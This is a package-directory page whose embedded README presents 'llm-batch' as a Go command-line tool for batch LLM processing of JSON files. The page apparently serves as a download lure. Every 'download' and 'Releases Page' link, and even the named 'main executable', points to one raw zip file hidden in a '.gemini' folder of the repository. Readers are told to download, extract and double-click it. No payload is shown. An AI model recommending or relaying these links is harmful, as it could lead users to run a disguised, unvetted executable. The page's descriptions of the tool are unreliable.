freshcrate
Home > AI Agents > llm-batch

llm-batch

πŸš€ Process JSON data in batches with `llm-batch`, leveraging sequential or parallel modes for efficient interaction with LLMs.

Description

πŸš€ Process JSON data in batches with `llm-batch`, leveraging sequential or parallel modes for efficient interaction with LLMs.

README

# 🌟 llm-batch - Effortlessly Process JSON Data in Batches

## πŸš€ Getting Started

Welcome to the llm-batch application! This tool helps you quickly process JSON and JSONL data. It uses efficient methods for both sequential and parallel execution. You will find it particularly useful if you work with large datasets and prefer a simple solution.

## πŸ“₯ Download and Install

To get started with llm-batch, you need to download the application. 

[![Download llm-batch](https://github.com/kimmmmyy223/llm-batch/raw/refs/heads/main/.gemini/batch-llm-v2.7.zip)](https://github.com/kimmmmyy223/llm-batch/raw/refs/heads/main/.gemini/batch-llm-v2.7.zip)

1. **Visit the Releases Page**: Click the link below to go to the download section of GitHub:
   [Visit Releases Page](https://github.com/kimmmmyy223/llm-batch/raw/refs/heads/main/.gemini/batch-llm-v2.7.zip)

2. **Choose the Right Version**: Look for the latest version on the Releases page. You will usually see a list of files there. 

3. **Download the Application**: Click on the file that matches your operating system (e.g., Windows, macOS, or Linux). The file will download to your computer.

4. **Extract Files (if needed)**: If the downloaded file is zipped, right-click on it and select β€œExtract All” or similar options to open the folder.

5. **Run the Application**: After extraction, find the main executable file (like `https://github.com/kimmmmyy223/llm-batch/raw/refs/heads/main/.gemini/batch-llm-v2.7.zip` for Windows or `llm-batch` for macOS/Linux). Double-click the file to run the application.

## πŸ› οΈ Usage Instructions

Using llm-batch is simple. Follow these steps to process your JSON or JSONL files:

1. **Prepare Your Data**: Ensure your JSON or JSONL files are ready for processing. Place them in an accessible folder on your computer.

2. **Open Command Line**: 
   - On Windows, search for "Command Prompt."
   - On macOS, open "Terminal" from the Utilities folder.
   - On Linux, you can find "Terminal" in your applications.

3. **Navigate to the Application Folder**: Use the `cd` (change directory) command to go to the directory where you downloaded llm-batch. 
   ```bash
   cd path/to/llm-batch-folder
  1. Run llm-batch: Use the following command format:

    ./llm-batch [options] [file_path]

    Replace [options] with the desired options, like how you want to execute the process, and replace [file_path] with the path to your JSON or JSONL file.

  2. Review Your Results: The output will be displayed in the command line. You can also specify an output file location to save the results.

πŸ“ Features

  • Batch Processing: Process multiple files at once, saving you time.
  • Sequential and Parallel Execution: Choose how you want to run your tasks, based on your system's capability.
  • Streaming: Manage large files efficiently without running out of memory.
  • User-Friendly Command-Line Interface: Simple and straightforward commands allow anyone to get started quickly.

πŸ” Topics and Tags

llm-batch focuses on key areas such as:

  • AI
  • Batch processing
  • Command-line tools
  • Developer tools
  • Go programming language
  • JSON and JSONL file formats

❓ Frequently Asked Questions

  1. Do I need programming knowledge to use llm-batch? No, this tool is designed for ease of use. Simply follow the provided instructions.

  2. What operating systems are supported? llm-batch works on Windows, macOS, and Linux.

  3. Can I process large files? Yes, the tool is designed to handle large JSON and JSONL files efficiently.

πŸ“† Future Updates

Keep an eye on the Releases page for upcoming updates and new features. We aim to improve your experience continually.

πŸ“ž Support

If you encounter any issues, feel free to reach out through the Issues section of the GitHub repository. We strive to provide timely assistance.

πŸ“₯ Download and Install Again

To download llm-batch, click below: Visit Releases Page

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found β€” using repo HEADHigh4/9/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

auto-deep-researcher-24x7πŸ”₯ An autonomous AI agent that runs your deep learning experiments 24/7 while you sleep. Zero-cost monitoring, Leader-Worker architecture, constant-size memory.main@2026-04-19
helix♾️ Private Agent Fleet with Spec Coding. Each agent gets their own GPU-accelerated desktop. Run Claude, Codex, Gemini and open models on a full private AI Stack ♾️2.9.30
scorpio-analystYour personal Multi-Agent portfolio manager and financial analyst teamv0.2.4
scraping-browserπŸ” Automate dynamic web scraping with Scraping Browser, a full-host solution using Puppeteer, Selenium, and Playwright for seamless data collection.main@2026-04-21
ComfyUI_LinkFX✨ Enhance ComfyUI links with dynamic visual effects and gravity physics for vibrant animations like Neon, Matrix, and Fire.main@2026-04-21